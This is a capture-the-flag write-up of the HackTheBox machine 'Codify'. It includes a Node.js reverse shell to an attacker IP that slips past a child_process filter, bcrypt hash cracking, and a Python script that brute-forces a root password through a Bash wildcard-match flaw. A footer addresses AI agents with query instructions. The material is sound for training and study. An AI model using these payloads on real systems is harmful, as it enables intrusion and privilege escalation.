# Codify

{% embed url="<https://app.hackthebox.com/machines/Codify>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and discover three open ports. Port 22, on which SSH is running, and two HTTP servers on 80 with `Apache 2.4.52` and 3000 with a `Node.js Express framework`.

<figure><img src="/files/ChApE8EQBCTVBxLz3X6P" alt=""><figcaption></figcaption></figure>

Running Gobuster on the endpoints, both provide the same directories.

```bash
┌──(0xb0b㉿kali)-[~/Documents/htb-app/codify]
└─$ gobuster dir -u http://codify.htb -w /usr/share/wordlists/dirb/big.txt 
```

<figure><img src="/files/sjRXlYo8674eV33cHmcE" alt=""><figcaption></figcaption></figure>

```bash
┌──(0xb0b㉿kali)-[~/Documents/htb-app/codify]
└─$ gobuster dir -u http://codify.htb:3000 -w /usr/share/wordlists/dirb/big.txt
```

<figure><img src="/files/zU8pBuZdNNoR5QXgjbaD" alt=""><figcaption></figcaption></figure>

On the index page, we find the information that this is a Node.js sandbox, on which any Node.js code can be executed in order to test it.

<figure><img src="/files/JtQQZ3y8DXeSwCfEjvb3" alt=""><figcaption></figcaption></figure>

## Shell as svc

By clicking on `Try it now`, we are redirected to the editor.\
Here we try it right away with a reverse shell from the `PayloadAllTheThings` repository:

{% embed url="<https://github.com/cyberheartmi9/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>" %}

{% code lineNumbers="true" %}

```javascript
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.10.14.122", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
```

{% endcode %}

But it fails; the use of `child_process` is not allowed.

<figure><img src="/files/g8K40meZsY52kFB6IwaE" alt=""><figcaption></figcaption></figure>

We have to somehow bypass the check and find a slightly different call on `child_process` here:

{% embed url="<https://nodejs.org/api/child_process.html#optionsdetached>" %}

`require('node:child_process');`

With this very slightly modified payload, we are able to spawn a reverse shell.

{% code lineNumbers="true" %}

```javascript
(function(){
    var net = require("net"),
        cp = require('node:child_process');
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.10.14.122", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
```

{% endcode %}

After setting up a listener and running the code snippet, our reverse shell connects. We are the user `svc`.

<figure><img src="/files/EU2AYefDCIuLPJLApzaq" alt=""><figcaption></figcaption></figure>

## Shell as joshua

We find a database `tickets.db` at `/var/www/contact`, containing a hash for the user joshua.

<figure><img src="/files/Z7T4dZYRgvBmGE2fooku" alt=""><figcaption></figcaption></figure>

We look up the correct mode for hashcat to crack it. It is a bcrypt hash; therefore, mode `3200` is required.

<figure><img src="/files/5MZVbbuYPRkmL5UzPut8" alt=""><figcaption></figcaption></figure>

After some seconds, we retrieve the password using hashcat.

<figure><img src="/files/BUjS3EPLOxp7hQTPdeXJ" alt=""><figcaption></figcaption></figure>

Since we have the SSH Port available, we connect using the found credentials. Here we find the user flag in the user's home directory.

<figure><img src="/files/c2ujv3zUXqAN8VItwYk5" alt=""><figcaption></figcaption></figure>

## Shell as root

We are allowed to run `/opt/script/mysql-backup.sh` using sudo.

This Bash script automates the process of MySQL database backup, prompting the user for the MySQL password and confirming its validity. It then proceeds to create backups of all databases except system databases, compressing them and storing them in the specified directory. Finally, it adjusts permissions on the backup directory to ensure appropriate access. Overall, it provides a secure and efficient way to manage MySQL backups with proper permission handling.

The script compares the password specified by the user `$USER_PASS` with the actual database password `$DB_PASS`.

The vulnerability here lies in the use of `==` within `[[ ]]` in Bash, which performs a pattern match rather than a direct string match.

Therefore, the user input is treated as a pattern, and if it contains a wildcard character, it can potentially match unintended strings.

<figure><img src="/files/CmCvYLotIbes76gZF6QB" alt=""><figcaption></figcaption></figure>

By running the script and supplying an arbitrary password, we get the message Password confirmation failed!

<figure><img src="/files/z9ONBwS77dmVhFq0lRBp" alt=""><figcaption></figcaption></figure>

By running the script and supplying `*` as password, we get the message Password confirmed!

<figure><img src="/files/iTCjyYG5TypuAg2br8RH" alt=""><figcaption></figcaption></figure>

With that information we are able to build a script, that tries alphanumeric characters in combination with the wildcard to check whether the execution was successful or not based on the exit status of `os.system()` that executes the script with the crafted password. Another approach could be based on the retrieved message.

{% code title="brute.py" lineNumbers="true" %}

```python
import string
import os
chars = string.ascii_letters + string.digits

password=''

c = True
while c:
    for char in chars:
        errorlevel =os.system("echo " + password + char +  "* | sudo /opt/scripts/mysql-backup.sh >/dev/null 2>&1")
        if errorlevel == 0:
            password += char
            print(password)
            break
    else:
         c = False
print(password)
```

{% endcode %}

We are able to brute force the DB\_PASS.

<figure><img src="/files/qzvCChjQ23jrTfjktKKJ" alt=""><figcaption></figcaption></figure>

This password is being reused by root. We change the user to `root` and find the root flag at `/root/root.txt`.

<figure><img src="/files/Id3RlXKgIcfqZfDqxGRr" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hackthebox/2024/codify.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
